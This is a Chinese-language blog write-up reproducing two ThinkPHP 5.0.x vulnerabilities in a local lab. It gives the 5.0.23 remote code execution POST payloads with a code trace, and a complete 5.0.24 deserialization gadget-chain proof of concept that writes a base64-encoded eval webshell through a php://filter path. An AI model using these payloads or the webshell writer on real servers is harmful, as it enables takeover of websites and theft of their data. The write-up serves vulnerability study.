目录
之前审过,没怎么做笔记,再审一下,主要还是复现一下。。
thinkphp5.0.x
配置环境
安装ThinkPHP · ThinkPHP5.0完全开发手册 · 看云 (kancloud.cn)
安装方法可以用composer,参考上面链接,composer可以在phpstudy上下
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
composer create-project topthink/think=5.0.* --prefer-dist
版本可以通过改composer.json完成
在当前目录下运行
composer install
如果rce不通的话,再装个captcha模块,tp5.0的版本是使用1.,tp5.1的版本是使用2.
composer require topthink/think-captcha 1.*
结合phpstudy和phpstorm进行调试
基础知识
thinkphp的目录结构:
project 应用部署目录
├─application 应用目录(可设置)
│ ├─common 公共模块目录(可更改)
│ ├─index 模块目录(可更改)
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共(函数)文件
│ ├─config.php 应用(公共)配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─route.php 路由配置文件
├─extend 扩展类库目录(可定义)
├─public WEB 部署目录(对外访问目录)
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录(可写,可设置)
├─vendor 第三方类库目录(Composer)
├─thinkphp 框架系统目录
│ ├─lang 语言包目录
│ ├─library 框架核心类库目录
│ │ ├─think Think 类库包目录
│ │ └─traits 系统 Traits 目录
│ ├─tpl 系统模板目录
│ ├─.htaccess 用于 apache 的重写
│ ├─.travis.yml CI 定义文件
│ ├─base.php 基础定义文件
│ ├─composer.json composer 定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 惯例配置文件
│ ├─helper.php 助手函数文件(可选)
│ ├─LICENSE.txt 授权说明文件
│ ├─phpunit.xml 单元测试配置文件
│ ├─README.md README 文件
│ └─start.php 框架引导文件
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
get传参s
我们知道可以通过http://127.0.0.1/public/index.php?s=index
的方式通过s
参数传递具体的路由。
thinkphp5.0.23 rce漏洞
payload如下:
http://thinkphp5023/?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
借用网上的一张图梳理一下大概流程
知道大概流程后开始详细分析,从漏洞点开始着手,一步步往上走
定位到
thinkphp\library\think\Request.php
中
漏洞点是在call_user_func
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $this->filterExp($value);
}
哪里有调用filterValue
的地方呢
其实也不算多,一个个翻一下,发现input
方法
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
在这里我们控制$data
和$filter
就可以实现rce,控制,这里的filter由getFilter
函数控制
跟进去,可以知道$filter
与类属性的$filter
值相同,那么我们只要控制类中属性$filter
的值即可,我们再看看$data
发现$data是由传进来的$data
和name
决定
那么看看哪里用到了input
函数
payload中选择的是870行的server
函数
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
这里我们需要控制的是$this->server
和$name
,$this->server
就是该类的server属性
继续往上找,可以看到method
函数是有调用server
函数的
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
现在我们看method函数是怎么运行的。
调试中不难发现method函数是先进入分支,要进入下一个if
则需要要设置_method
的值,我们可以将其设置成__construct
,为什么要设置成__construct
,因为__construct
函数可以实现变量覆盖
继续跟进去
进去是__construct
函数
在Request类中,在__construct
函数中存在变量覆盖,可以覆盖Request
类中的filter
属性和server
属性
回归到最初问题,我们是要调用server
函数的,那么method
就是要为true的
调试中,我们可以看到param
函数中,调用了method方法,且参数为true
那看哪里调用了param函数,App.php中exec函数就调用了param函数
而App.php中run函数就调用了exec函数
thinkphp程序都是从App.php开始的,那我们分析一下run函数,在run方法中进入routecheck
在routecheck中跟进Route::check
里面调用了method函数
这里method函数运行完需要一个值,我们就可以令method=get,使代码正常运行,往下走就是接着上面的exec函数
所以post传参就为
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
总体流程就如下:
还有另外一条路的payload是
http://thinkphp5023/index.php?s=captcha
post:_method=__construct&filter[]=system&method=get&get[]=whoami
注:如果开了debug模式的话,就可以不用get传参,直接
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
修复:在method这里加了白名单进行过滤
参考:
[框架漏洞]ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析_tp5.0.23 rce 分析_Y4tacker的博客-CSDN博客
thinkphp5.0.23变量覆盖导致的RCE分析与复现 - FreeBuf网络安全行业门户
ThinkPHP 5.0.x-5.0.23、5.1.x、5.2.x 全版本远程代码执行漏洞分析 – 绿盟科技技术博客 (nsfocus.net)
thinkphp5.0.24反序列化漏洞
composer install
加上反序列化点
$a = unserialize($_GET['a']);
var_dump($a);
先放出网上的流程图
poc:
<?php
namespace think\process\pipes;
abstract class Pipes
{
}
use think\model\Pivot;
class Windows extends Pipes
{
private $files = [];
function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
}
namespace think\model;
use think\Model;
use think\console\Output;
use think\model\relation\HasOne;
class Pivot extends Model
{
public $parent;
function __construct()
{
$this->append = ["getError" => "getError"];
$this->parent = new Output();
$this->error = new HasOne();
}
}
namespace think\db;
use think\console\Output;
class Query
{
protected $model;
function __construct()
{
$this->model = new Output();
}
}
namespace think\model;
abstract class Relation
{
protected $selfRelation;
protected $query;
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation
{
protected $bindAttr = [];
}
use think\db\Query;
class HasOne extends OneToOne
{
function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = [1 => "file"];
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output
{
private $handle = null;
protected $styles = [];
function __construct()
{
$this->handle = new Memcached();
$this->styles = ["getAttr"];
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcached
{
protected $handler = null;
protected $config = [];
function __construct()
{
$this->handler = new File();
$this->config = [
'session_name' => '',
'expire' => null,
];
}
}
namespace think\cache\driver;
class File
{
protected $options = [];
protected $tag;
function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path'=>'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = true;
}
public function get_filename()
{
$name = md5('tag_' . md5($this->tag));
$filename = $this->options['path'];
$pos = strpos($filename, "/../");
$filename = urlencode(substr($filename, $pos + strlen("/../")));
return $filename . $name . ".php";
}
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));#payload
echo "\n";
$f = new File();
echo $f->get_filename();#获取shell的文件名
\thinkphp\library\think\process\pipes\Windows.php
起点在__destruct
跟进removeFiles
方法
我们可以看到这里有个file_exists
,$filename
我们可控,只需控制$filename
为一个对象,那么就会触发__tostring
方法,找一下__tostring
我们选择用Model类的__tostring
方法,而Model类是个抽象类
什么是抽象类?PHP 有抽象类和抽象方法。定义为抽象的类不能被实例化。
所以我们要寻找看谁继承了抽象类
我们可以选择pivot
类
所以$this->files=[new Pivot()]
然后我们就进入Model类的__tostring方法
跟进toJson
方法
跟进toArray
方法
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
进入到toarray
方法后,应该考虑如何调用漏洞触发点Output.php中的__call
方法
选择触发这里,怎么才能触发这里
if (!empty($this->append))
$this->append
我们使其非空即可
if (is_array($name))
$name
由$this->append
控制,使其不是数组即可
elseif (strpos($name, ‘.’))
使其不包含.
即可
if (method_exists($this, $relation))
这个要为true,$relation
来自$name
,这里的parseName
函数可以等价看成$relation
=$name
那么只要$relation
为一个类存在的方法即可,可以选择Model类的getError
函数,其函数简单,返回的值可控
所以这里$relation='getError'
继续往下走,跟进getRelationData
函数
回顾一下,我们的目的是要调用Output.php
中的__call
方法,那么我们就得使$value
为new output
回到getRelationData
我们要这个函数返回值使new output
,$this->parent
是可控的,但是要怎么进入这个if条件
首先$this->parent
不能为空,这个很容易满足
第二个是!$modelRelation->isSelfRelation()
,得让其返回值不为空:
$modelRelation
我们可控,所以得找一个包含有这个方法的类并且返回值不为空
找到Relation类有这个方法,但是Relation类是个抽象类,要找继承其的类,等等再找,现在先分析if条件。
第三个是
get_class($modelRelation->getModel()) == get_class($this->parent)
前面我们已经确定$this->parent
要为output
类,所以get_class($modelRelation->getModel())
也要为output类,其次我们控制的$modelRelation
也要有getModel
方法
另外回到入口点,往下看看,发现$modelRelation
还需要有getBindAttr()
总结一下$modelRelation
要继承 Relation
类,还要有getModel
方法和getBindAttr()
那现在找一下
符合要求的有onetoone
这个类,所以我们就让$modelRelation
为这个类,但是onetoone
还是个抽象类,还得看谁继承了onetoone
这个类
可以选择HasOne
这个类,即$modelRelation=new hasone()
再回来看getRelationData
函数
我们需要令!$modelRelation->isSelfRelation()
即!$HasOne->isSelfRelation()
为false
再看get_class($modelRelation->getModel()) == get_class($this->parent))
跟进看看hasone->getModel()
,这里的$this->query我们可控
全局搜索一下getModel(),发现query类的getmodel好用
我们只需让$this->query=new query
,并且query
类的$this->model
为new output
即可
那么$modelRelation->getModel()
返回值与$this->parent
的返回值相同,都为output
对象,所以为真。
再回到model.php
Hasone
类存在getBindAttr
方法所以进入if
然后进入了getBindAttr()
函数
$this->bindAttr
是可控的
继续跟进
这里要求$bindAttr
为一个非空的数组,再往下走
我们是要进入else这里的,所以这里的data
我们将其设置为空
进入了漏洞触发的地方,这里的$attr
是我们可控的点,我们这里设置$value=new output
是因为output
类没有getAttr
方法,所以可以触发output
类的call
方法
跟进到output
类的call
方法
我们要进入的是call_user_func_array([$this, 'block'], $args)
这个漏洞触发点
而$method
为“getAttr”,$this->styles
是可控的,我们可以令其为["getAttr"]
即可进入if
接着往下走,跟进block
函数
再往下走,跟进writeln
函数
这里write
函数的第二个参数为true
,跟进
这里的handle
是可控的,这里的$newline=true
这里我们可以再找一个类当作跳板
我们可以使用Memcached
类的write
方法,所以令$this->handler=new Memcached()
这里的handler
依然可控因为think\cache\driver\File
中的set()
方法可以写文件,所以我们这里的$this->handler=new file()
这样就调用了file
类的set
方法,注意这里的$sessData
传参过来为true
跟进set
方法
因为传参进来的$value=true
,所以我们不能直接利用$data写shell
我们往下走可以看到setTagItem
方法,参数是文件名$filename
,跟进去
发现setTagItem
方法里面调用了set
函数,这里传进来的文件名$filename
到set
函数就变成了文件内容,那么我们就可以写shell
而$filename
为getCacheKey
产生的
跟进去
这里的$this->options['cache_subdir']
,$this->options['prefix']
我们可控。所以总的来说即首先给$name
进行了MD5,然后给其添加了一个前缀$this->options['path']
$name
为md5,不可控,而$this->options['path']
可控,所以利用
$this->options['path']
写shell
后面就是常见的死亡绕过
$this->options['path']='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php'
参考:
Thinkphp 5.0.24反序列化漏洞导致RCE分析_thinkphp 5.0.24 rce_浔阳江头夜送客丶的博客-CSDN博客
thinkphp5.1.x
占坑